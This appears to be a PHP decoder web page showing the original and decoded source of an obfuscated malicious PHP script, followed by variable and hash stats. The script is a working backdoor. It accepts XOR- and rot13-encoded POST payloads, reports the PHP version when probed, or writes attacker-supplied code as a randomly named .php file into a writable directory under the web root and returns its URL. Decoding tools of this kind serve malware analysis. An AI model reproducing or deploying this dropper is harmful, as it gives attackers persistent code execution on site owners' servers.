Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $iktsfelh = "txcrnpaeausbcdfe";$ggtvnx = "";foreach ($_POST as $pywfwaobe => $tftybi..

Decoded Output download

<?php $iktsfelh = "txcrnpaeausbcdfe";$ggtvnx = "";foreach ($_POST as $pywfwaobe => $tftybii){if (strlen($pywfwaobe) == 16 and substr_count($tftybii, "%") > 10){ndgkxzulxm($pywfwaobe, $tftybii);}}function ndgkxzulxm($pywfwaobe, $ivaqfypx){global $ggtvnx;$ggtvnx = $pywfwaobe;$ivaqfypx = str_split(rawurldecode(str_rot13($ivaqfypx)));function dochejvrk($nwsldu, $pywfwaobe){global $iktsfelh, $ggtvnx;return $nwsldu ^ $iktsfelh[$pywfwaobe % strlen($iktsfelh)] ^ $ggtvnx[$pywfwaobe % strlen($ggtvnx)];}$ivaqfypx = implode("", array_map("dochejvrk", array_values($ivaqfypx), array_keys($ivaqfypx)));$ivaqfypx = @unserialize($ivaqfypx);if (@is_array($ivaqfypx)){$pywfwaobe = array_keys($ivaqfypx);$ivaqfypx = $ivaqfypx[$pywfwaobe[0]];if ($ivaqfypx === $pywfwaobe[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function caxbk($tgjneftuliir) {static $kgmuexstx = array();$kualbnintq = glob($tgjneftuliir . '/*', GLOB_ONLYDIR);if (count($kualbnintq) > 0) {foreach ($kualbnintq as $tgjneftuli){if (@is_writable($tgjneftuli)){$kgmuexstx[] = $tgjneftuli;}}}foreach ($kualbnintq as $tgjneftuliir) caxbk($tgjneftuliir);return $kgmuexstx;}$aijqbmpvv = $_SERVER["DOCUMENT_ROOT"];$kualbnintq = caxbk($aijqbmpvv);$pywfwaobe = array_rand($kualbnintq);$yecfky = $kualbnintq[$pywfwaobe] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($yecfky, $ivaqfypx);echo "http://" . $_SERVER["HTTP_HOST"] . substr($yecfky, strlen($aijqbmpvv));exit();}}} ?>

Did this file decode correctly?

Original Code

<?php $iktsfelh = "txcrnpaeausbcdfe";$ggtvnx = "";foreach ($_POST as $pywfwaobe => $tftybii){if (strlen($pywfwaobe) == 16 and substr_count($tftybii, "%") > 10){ndgkxzulxm($pywfwaobe, $tftybii);}}function ndgkxzulxm($pywfwaobe, $ivaqfypx){global $ggtvnx;$ggtvnx = $pywfwaobe;$ivaqfypx = str_split(rawurldecode(str_rot13($ivaqfypx)));function dochejvrk($nwsldu, $pywfwaobe){global $iktsfelh, $ggtvnx;return $nwsldu ^ $iktsfelh[$pywfwaobe % strlen($iktsfelh)] ^ $ggtvnx[$pywfwaobe % strlen($ggtvnx)];}$ivaqfypx = implode("", array_map("dochejvrk", array_values($ivaqfypx), array_keys($ivaqfypx)));$ivaqfypx = @unserialize($ivaqfypx);if (@is_array($ivaqfypx)){$pywfwaobe = array_keys($ivaqfypx);$ivaqfypx = $ivaqfypx[$pywfwaobe[0]];if ($ivaqfypx === $pywfwaobe[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function caxbk($tgjneftuliir) {static $kgmuexstx = array();$kualbnintq = glob($tgjneftuliir . '/*', GLOB_ONLYDIR);if (count($kualbnintq) > 0) {foreach ($kualbnintq as $tgjneftuli){if (@is_writable($tgjneftuli)){$kgmuexstx[] = $tgjneftuli;}}}foreach ($kualbnintq as $tgjneftuliir) caxbk($tgjneftuliir);return $kgmuexstx;}$aijqbmpvv = $_SERVER["DOCUMENT_ROOT"];$kualbnintq = caxbk($aijqbmpvv);$pywfwaobe = array_rand($kualbnintq);$yecfky = $kualbnintq[$pywfwaobe] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($yecfky, $ivaqfypx);echo "http://" . $_SERVER["HTTP_HOST"] . substr($yecfky, strlen($aijqbmpvv));exit();}}}

Function Calls

None

Variables

$ggtvnx
$iktsfelh txcrnpaeausbcdfe

Stats

MD5 fe23da292bd783a8311a64b477bc3d25
Eval Count 0
Decode Time 92 ms